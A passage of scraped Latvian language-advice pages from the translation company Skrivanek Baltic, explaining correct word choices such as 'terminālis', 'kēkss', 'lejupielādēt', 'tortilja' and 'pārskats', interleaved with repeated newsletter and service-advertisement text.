apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Ostā ierīkots jauns termināls vai terminālis? Ieskaties šeit un uzzini pareizo atbildi! Šis un daudzi citi valodas padomi vienuviet. - Published: 2024-05-16 - Modified: 2024-05-16 - URL: https://skrivanek.lv/terminals-vai-terminalis/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional TERMINĀLS VAI TERMINĀLIS 1 Ostā ierīkots jauns termināls? Vai terminālis? Sākotnēji vārds ‘termināls’ latviešu valodā tika lietots kā īpašības vārds. Vārds cēlies no latīņu vārda terminālis < terminus – ‘robeža’, ‘beigas’, tātad nozīme ir ‘beigu, gala, ar galējo robežu saistīts’. Tomēr šis vārds ļoti bieži tika lietots kā lietvārds, attiecinot to uz gala staciju, tāpēc LZA Terminoloģijas komisija šo aizguvumu kā lietvārdu apstiprināja ar galotni –is. Tātad lietvārds ir terminālis (īpaši iekārtota, ar celtņiem apgādāta vieta konteineru pārkraušanai, ostās, stacijās; arī bankas karšu norēķiniem domāta ierīce, arī tālvadības terminālis, arī galiekārta), savukārt, ja vārdu lietojam kā īpašības vārdu, tad ir termināls (piemēram, termināls punkts, termināla stacija (bet ‘termināļa stacija’ būs stacija terminālī, proti, lietvārds ģenitīvā)). Tātad teiksim: ostā ierīkots jauns terminālis. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Kā ir pareizi - "kekss" vai "kēkss"? Ieskaties šeit un uzzini pareizo atbildi! Šis un daudzi citi noderīgi latviešu valodas padomi vienuviet! - Published: 2024-05-16 - Modified: 2024-05-16 - URL: https://skrivanek.lv/kekss-vai-kekss/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional KEKSS VAI KĒKSS 1 “Vien’ maz’ kēksiņ’? ” vai “Vien’ maz’ keksiņ’? ” — pārfrāzējot slaveno Eduarda Pāvula Ērmanīša jautājumu “Vien’ maz’ cuciņ’? ” no spēlfilmas “Vella kalpi”, kā ir pareizi — kēkss vai kekss? Vārds “kēkss” cēlies no vācu valodas vārda ‘Keks’ < angļu ‘cake’. Tas ir veidnē cepts konditorejas izstrādājums no mīklas, kas gatavota no miltiem, sviesta, olām, cukura, rozīnēm. Savukārt vārds “kekss” ir žargonvārds ar nozīmi “puisis”. Tātad, ja vēlamies pajautāt, vai kāds grib ko gardu, tad teiksim: Vien’ maz’ kēksiņ’? Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Dokumentu var nolādēt, lejupielādēt vai lejuplādēt? Ieskaties šeit un uzzini pareizo atbildi! Šis un citi latviešu valodas padomi vienuviet! - Published: 2024-05-16 - Modified: 2024-10-21 - URL: https://skrivanek.lv/noladet-vai-lejupieladet-vai-lejupladet/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional NOLĀDĒT VAI LEJUPIELĀDĒT VAI LEJUPLĀDĒT 1 E-pasta vēstules pielikumā atsūtīts dokuments. To vajadzētu saglabāt datorā, lai turpmāk ar to varētu strādāt. Vai to nolādēsim vai lejupielādēsim? Lejupielādēt (no angļu valodas vārda ‘download’) nozīmē pārnest (ko) no galvenā datora uz atsevišķu datoru vai citu digitālu ierīci. Nebūs nepareizi, ja lietosiet arī variantu “lejuplādēt”. Taču vārdam “nolādēt” gan ir pilnīgi cita nozīme, proti, — izteikt kādam lāstus vai asi, skarbi izteikt savu nepatiku vai neapmierinātību. Tātad teiksim: E-pasta vēstules pielikumu vajadzētu lejupielādēt savā datorā. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Kartupeļu lauku pārņēmušas Kolorādo vai Kolorado vaboles? Ieksaties šeit un uzzini pareizo atbildi! Šis un citi valodas padomi vienuviet! - Published: 2024-05-16 - Modified: 2024-05-16 - URL: https://skrivanek.lv/kolorado-vabole-vai-kolorado-vabole/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional KOLORĀDO VABOLE VAI KOLORADO VABOLE 1 Kartupeļu lauku pārņēmušas Kolorādo vaboles vai Kolorado vaboles? Tā ir vidēja lieluma dzeltena vai rūsgana vabole ar desmit melnām gareniskām svītrām uz segspārniem jeb kartupeļu lapgrauzis. Dažādās vārdnīcās tiek piedāvāta atšķirīga šī kukaiņa rakstība – gan kolorado vabole (Latviešu literārās valodas vārdnīca, Rīga: Zinātne, 1972–1996), gan Kolorādo vabole (LZA TK Terminoloģija 3. Augu aizsardzība. R. : LPSR Zinātņu akadēmijas izdevniecība, 1960). Minētie avoti ir samērā seni, A. Veisbergs Tildes vārdnīcas atjauninājumā 2020. gadā un arī šķirklis Jaunajā eponīmu vārdnīcā (Rīga: Latviešu valodas aģentūra, 2012) piedāvā kartupeļu lapgrauzi dēvēt par Kolorādo vaboli. Saskaņā ar pieejamo informāciju, šī kukaiņa dzimtene ir Ziemeļamerika – kad kartupeļus sāka audzēt masveidā, šis kaitēklis strauji izplatījās tieši Kolorādo štatā un tā arī ieguva savu nosaukumu. Tātad teiksim: Šogad kartupeļu lauku pārņēmušas Kolorādo vaboles. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Tortilla vai tortilja vai tortiļa - kā ir pareizi? Ieskaties šeit! Šis un daudzi citi noderīgi latviešu valodas padomi vienuviet! - Published: 2024-05-16 - Modified: 2024-05-16 - URL: https://skrivanek.lv/tortilla-vai-tortilja-vai-tortila/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional TORILLA VAI TORTILJA VAI TORTIĻA 1 Šodien pusdienās varētu pagatavot kaut ko no meksikāņu virtuves. Mums vajadzēs tortilju? Vai tortillu? Vai varbūt tortiļu? No kukurūzas miltiem cepta plāna, apaļa maize, kas iecienīta meksikāņu virtuvē, atgādina apaļu pankūku, tā ir bāze burito un tako pagatavošanai. Spāņu valodā — ‘tortilla’. Valsts Nacionālais terminoloģijas portālā sniegts latviskojums: tortilja. Tātad teiksim: Šodien pusdienās gatavosim meksikāņu ēdienus un mums vajadzēs tortilju. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Reperis vai repers - kā ir pareizi? Ieskaties un uzzini pareizo atbildi! Šis un daudzi citi latviešu valodas padomi vienuviet! - Published: 2024-05-16 - Modified: 2024-08-26 - URL: https://skrivanek.lv/repers-vai-reperis/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional REPERS VAI REPERIS 1 Vai talsenieku, kurš Latvijas Radio 5 vada raidījumu REPortāža sauksim par reperi? Vai reperu? Vārds repers latviešu valodā ir vīriešu dzimtes pirmās deklinācijas lietvārds, proti, termins matemātikā vai ģeodēzijā. Savukārt vārds reperis latviešu valodā ir aizgūts no angļu valodas vārda ‘rapper’ – kāds, kurš muzicē repa stilā. Amerikāņu slengā par reperi dēvē arī lielu runātāju sapulcēs. Tātad: talsenieku, kurš Latvijas Radio 5 vada raidījumu REPortāža sauksim par reperi jeb arī repotāju. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Mājaslapa vai tīmekļa vietne? Kāda ir atšķirība? Ieskaties, šis un daudzi citi noderīgi latviešu valodas padomi vienuviet! - Published: 2024-05-16 - Modified: 2024-08-12 - URL: https://skrivanek.lv/majaslapa-vai-timekla-vietne/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional MĀJASLAPA VAI TĪMEKĻA VIETNE 1 Gandrīz visi termini, kas saistīti ar datoriem, latviešu valodā ir ienākuši no angļu valodas. Esam jau rakstījuši, kā pareizi latviešu valodā jāraksta vārds mājaslapa. Taču kad un kā lietot terminus tīmekļa vietne (website) un mājaslapa (homepage)? Aplūkosim katru no šiem terminiem. ‘Website’ ir tīmekļa vietne. Konkrētas vai vispārīgas informācijas un/vai digitālo pakalpojumu kopums, ko veido tīmekļa lapas, attēli, video, audio un cita veida materiāli; viss šis kopums ir viena domēna ietvaros. Piemēram, https://skrivanek. lv ir tīmekļa vietne. Ir vārdnīcas, kas tīmekļa vietni un mājaslapu definē kā sinonīmus un tam var piekrist, jo tīmekļa vietne ir visa mājaslapa – tādēļ nebūs arī nepareizi, ja teiksim: apmeklējiet Skrivanek mājaslapu. Tomēr šajā gadījumā korektāk un no IT terminoloģijas pareizāk būs: apmeklējiet Skrivanek tīmekļa vietni. Ir pieļaujamas abas formas: tīmekļa vietne un tīmekļvietne. Galvenais nosacījums – rakstītā tekstā jāievēro konsekvence šo vārdu lietošanā – vai nu viens, vai otrs variants. ‘Homepage’ – sākumlapa jeb mājaslapa. Galvenā tīmekļa vietnes lapa. Globālā tīmekļa dokuments, kas tiek uzskatīts par ieiešanas punktu kādā saistītu dokumentu kopā. Piemēram Skrivanek tīmekļa vietnes sākumlapā uzņēmuma logotips, par šo uzņēmumu tīmeklī sniegtās informācijas apraksts un saites, kas sniedz informāciju par Skrivanek un ir pieejama tīmeklī. Atverot jebkuru no domēniem, tā vienmēr būs pirmā lapa, kas atvērsies. Tā ir tīmekļa vietnes galvenā lapa (bieži arī sākumlapa), uz kuru ierasti ved saite ‘Mājas’, ‘Sākums’, mājas ikona vai vietnes logotips. Tātad: ja vēlaties uzzināt visu, ko piedāvā Skrivanek, apmeklējiet tīmekļa vietni https://skrivanek. lv. Bet sarunā ar draugiem par jaunām biznesa iespējām droši varat lietot: jāizveido sava mājaslapa un tirgošanās var sākties! Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Ārkārtas vai ārkārtējā situācija - kāda ir atšķirība? Ieskaties, šis un daudzi citi noderīgi latviešu valodas padomi vienuviet! - Published: 2024-05-16 - Modified: 2024-09-02 - URL: https://skrivanek.lv/arkartas-vai-arkarteja-situacija/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional ĀRKĀRTAS VAI ĀRKĀRTĒJĀ SITUĀCIJA 1 Jēkabpilī plūdu radīto postījumu dēļ izveidojusies ārkārtējā situācija. Vai ārkārtas situācija? Kā liecina latviešu literārās valodas vārdnīcas, pareizi ir abi vārdi. Tādēļ aplūkosim tuvāk to nozīmi. Ārkārtas — tāds, kas notiek ārpus kārtas, neparastā veidā vai laikā; tāds, kas paredzēts īpašam nolūkam. Piemēram, var būt ārkārtas sapulce, ārkārtas nosēšanās (lidmašīnai). Ārkārtējs — pilnīgi neparasts, negaidīts, neparedzēts, vēl nebijis, nepiedzīvots. Piemēram, ārkārtējs notikums vai ārkārtējs gadījums. Latvijas Republikas Likumā par ārkārtējo situāciju rakstīts: “Ārkārtējo situāciju var izsludināt tāda valsts apdraudējuma gadījumā, kas saistīts ar katastrofu, tās draudiem vai kritiskās infrastruktūras apdraudējumu, ja būtiski apdraudēta valsts, sabiedrības, vides, saimnieciskās darbības drošība vai cilvēku veselība un dzīvība”. Nereti abus vārdus lieto kā sinonīmus, arī terminoloģijā, tomēr, runājot par piemērā minēto situāciju, kad negaidītu plūdu rezultātā ir izveidojusies negaidīta, ikdienai neparasta situācija, Skrivanek iesaka lietot vārdu “ārkārtējs”. Tātad Jēkabpilī plūdu radīto postījumu dēļ izveidojusies ārkārtēja situācija. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Uz sienas izveidojies neglīts pleķis vai plankums? Ieskaties, šis un daudzi citi noderīgi latviešu valodas padomi vienuviet! - Published: 2024-05-16 - Modified: 2024-05-16 - URL: https://skrivanek.lv/plankums-vai-plekis/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional PLANKUMS VAI PLEĶIS 1 Uz sienas izveidojies neglīts pleķis. Vai tomēr plankums? Literāri pareizi ir “plankums” — citādas krāsas, citāda apgaismojuma, citāda veida laukums uz kaut kā, piemēram, sienas. Pleķis ir sarunvalodas vārds. Ikdienā vārds pleķis tiek lietots visai bieži, tas ir latviešu valodā ļoti labi nostiprinājies ģermānisms. Tātad teiksim: Uz sienas izveidojies neglīts plankums. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Rīt jānodod projekta atskaites vai pārskati? Ieskaties šeit un uzzini pareizo atbildi! Šis un daudzi citi latviešu valodas padomi vienuviet. - Published: 2024-05-15 - Modified: 2024-10-23 - URL: https://skrivanek.lv/parskats-vai-atskaite/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional PĀRSKATS VAI ATSKAITE 1 Tik daudz vēl šovakar jāpaspēj! Rīt jānodod projekta atskaites. Vai tomēr — jānodod projekta pārskati? Lai gan no fonētiskās labskanības viedokļa ausij patīkamāk skan “projekta atskaite”, tomēr pareizi būs — “projekta pārskats”. Skrivanek neiesaka vārdu “atskaite” lietot vārda “pārskats” nozīmē — atskaite ir kalks no krievu valodas vārda ‘отчёт’ ar nozīmi ‘norēķins, pārskats’. Tātad teiksim: Tik daudz vēl šovakar jāpaspēj! Rīt jānodod projekta pārskati. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Zobu suka vai zobu birste? Ieskaties šeit un uzzini pareizo atbildi! Šis un daudzi citi noderīgi latviešu valodas padomi vienuviet! - Published: 2024-05-15 - Modified: 2025-03-19 - URL: https://skrivanek.lv/zobu-suka-vai-zobu-birste/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional ZOBU SUKA VAI ZOBU BIRSTE 1 Vai šī zobu suka ir ražota no pārstrādātas plastmasas? Vai — zobu birste? Vārds “suka” ir rīks (tīrīšanai, mazgāšanai), ko veido plāksne, kurā iestiprināti samērā tievi saru (stiepļu) elementi. Sukai dažkārt ir arī kāts vai rokturis. Vārds “birste” ir ģermānisms. Skrivanek iesaka oficiālos tekstos izvairīties no tā lietošanas. Tātad teiksim: Vai šī zobu suka ir ražota no pārstrādātas plastmasas? Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to 